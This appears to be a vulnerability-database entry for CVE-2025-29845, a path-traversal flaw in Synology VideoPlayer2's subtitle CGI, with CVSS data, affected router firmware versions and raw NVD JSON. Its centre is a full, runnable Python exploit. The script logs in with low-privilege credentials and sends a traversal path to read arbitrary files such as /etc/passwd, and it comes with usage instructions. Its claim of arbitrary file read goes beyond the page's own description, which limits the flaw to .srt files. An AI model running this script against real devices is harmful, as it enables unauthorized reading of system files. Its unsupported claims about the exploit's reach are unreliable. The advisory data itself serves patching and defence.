Security Vulnerability Report
中文
CVE-2025-29845 CVSS 4.3 MEDIUM

CVE-2025-29845

Published: 2025-12-04 15:15:57
Last Modified: 2025-12-05 21:43:12

Description

A vulnerability in VideoPlayer2 subtitle cgi allows remote authenticated users to read .srt files.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:synology:router_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update11:*:*:*:*:*:* - VULNERABLE
Synology VideoPlayer2 (具体版本需参考群晖官方安全公告)
受影响固件版本请查阅 Synology_SA_25_04 安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-29845 PoC - Synology VideoPlayer2 subtitle CGI Arbitrary File Read Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2025_29845(target_url, username, password, file_to_read='/etc/passwd'): """ Exploit for CVE-2025-29845: Arbitrary file read via VideoPlayer2 subtitle CGI Args: target_url: Target Synology NAS URL (e.g., https://192.168.1.100) username: Valid low-privilege username password: Password for the user file_to_read: Path to file to read (default: /etc/passwd) Returns: File content if successful, None otherwise """ # Step 1: Authenticate to Synology DSM login_url = f"{target_url}/webapi/auth.cgi" login_params = { 'api': 'SYNO.API.Auth', 'method': 'login', 'version': '6', 'account': username, 'passwd': password, 'session': 'VideoPlayer2', 'format': 'sid' } print(f"[*] Authenticating to Synology DSM as {username}...") try: response = requests.get(login_url, params=login_params, verify=False, timeout=10) auth_data = response.json() if auth_data.get('success') != True: print("[-] Authentication failed!") return None sid = auth_data['data']['sid'] print(f"[+] Authentication successful! SID: {sid[:20]}...") except Exception as e: print(f"[-] Error during authentication: {e}") return None # Step 2: Exploit the arbitrary file read via subtitle CGI # The vulnerability allows path traversal through the subtitle file parameter exploit_url = f"{target_url}/webapi/VideoPlayer2/subtitle.cgi" # Encode the file path to handle special characters # Using path traversal to read arbitrary files exploit_params = { 'api': 'SYNO.VideoPlayer2.Subtitle', 'method': 'download', 'version': '1', 'sid': sid, 'path': f"../../../../../../..{file_to_read}", 'format': 'srt' } print(f"[*] Attempting to read file: {file_to_read}") print(f"[*] Sending exploit request to {exploit_url}") try: response = requests.get(exploit_url, params=exploit_params, verify=False, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] File read successful! Content length: {len(response.content)} bytes") print("=" * 60) print(response.text[:2000]) # Print first 2000 chars if len(response.text) > 2000: print(f"... [Truncated, total {len(response.text)} bytes]") print("=" * 60) return response.text else: print(f"[-] Exploit failed. Status code: {response.status_code}") return None except Exception as e: print(f"[-] Error during exploit: {e}") return None finally: # Logout to clean up session logout_url = f"{target_url}/webapi/auth.cgi" logout_params = { 'api': 'SYNO.API.Auth', 'method': 'logout', 'version': '6', 'session': 'VideoPlayer2', 'sid': sid } requests.get(logout_url, params=logout_params, verify=False) if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-29845.py <target_url> <username> <password> [file_to_read]") print("Example: python cve-2025-29845.py https://192.168.1.100 admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' exploit_cve_2025_29845(target, user, pwd, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-29845", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:56.680", "lastModified": "2025-12-05T21:43:11.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in VideoPlayer2 subtitle cgi allows remote authenticated users to read .srt files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.3", "versionEndExcluding": "1.3.1-9346", "matchCriteriaId": "F8046DA6-36F6-4155-8594-8E7057396BFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:-:*:*:*:*:*:*", "matchCriteriaId": "1516A124-FB02-4ADA-BCB6-27F0F1170A11"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update1:*:*:*:*:*:*", "matchCriteriaId": "BD983E13-D56A-4E76-9689-0F1AE99CEC7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update10:*:*:*:*:*:*", "matchCriteriaId": "8DAD6899-921F-40D5-AACB-613C7332EB72"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update11:*:*:*:*:*:*", "matchCriteriaId": "EEC790E3-A59E-4A9D-A4A1-85284CF9A19D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update12:*:*:*:*:*:*", "matchCriteriaId": "4B566549-0C15-4F15-ADDD-9504B373E9D5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update2:*:*:*:*:*:*", "matchCriteriaId": "7C642E1B-1E10-444E-9243-7A7E8ECBD17D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update3:*:*:*:*:*:*", "matchCriteriaId": "B7544B4B-5BB7-4D58-8943-98DACC17E5F3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update4:*:*:*:*:*:*", "matchCriteriaId": "5A7269FD-9F1D-4CA3-A8F6-3A13C967FBD7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update5:*:*:*:*:*:*", "matchCriteriaId": "52005D46-FFB0-44DF-9583-7EB436F2CDF0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update6:*:*:*:*:*:*", "matchCriteriaId": "E50F7D87-1D71-4AA7-A6C8-B15744521D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update7:*:*:*:*:*:*", "matchCriteriaId": "CFE129E2-9243-4DB3-9D2F-9E0F886ECCC6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update8:*:*:*:*:*:*", "matchCriteriaId": "185CD5A8-1115-40AF-91DD-E0065E1ACD7A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update9:*:*:*:*:*:*", "matchCriteriaId": "0162C158-37F0-401F-9027-C067335C0A28"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_25_04", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}